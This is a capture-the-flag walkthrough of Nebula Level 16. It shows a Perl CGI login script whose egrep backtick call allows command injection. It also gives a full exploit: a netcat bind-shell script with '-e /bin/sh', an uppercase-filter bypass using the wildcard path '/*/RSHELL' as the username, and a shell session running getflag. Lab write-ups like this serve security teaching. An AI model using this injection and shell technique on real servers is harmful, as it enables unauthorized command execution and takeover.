In [Level 16]() we are given the following perl CGI:

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/;  # conver to uppercase
  $username =~ s/\s.*//;    # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
    ($usr, $pw) = split(/:/, $line);


    if($pw =~ $password) {
      return 1;
    }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
    print("Your login was accepted<br/>");
  } else {
    print("Your login failed<br/>");
  }
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

Its easy to see the command injection in the egrep command:

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

Now, the hard part is that we are limited to uppercase. We will create our regular payload, something like:

level16@nebula:/tmp$ cat /tmp/RSHELL
#!/bin/bash
nc -lvnp 9999 -e /bin/sh
level16@nebula:/tmp$ chmod +x RSHELL

All we need to do now is find a way to put our payload in the server path and as that looks impossible, we will use a bash trick that allows us to use wildcards. So to execute /tmp/RSHELL we can use:

/*/RSHELL

Now, go to your browser, and use the following username:

`/*/RSHELL`

Back to our terminal, we will connect to the nc listener:

level16@nebula:/home/flag16$ nc 127.0.0.1 9999
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
getflag
You have successfully executed getflag on a target account
^C

Voila!!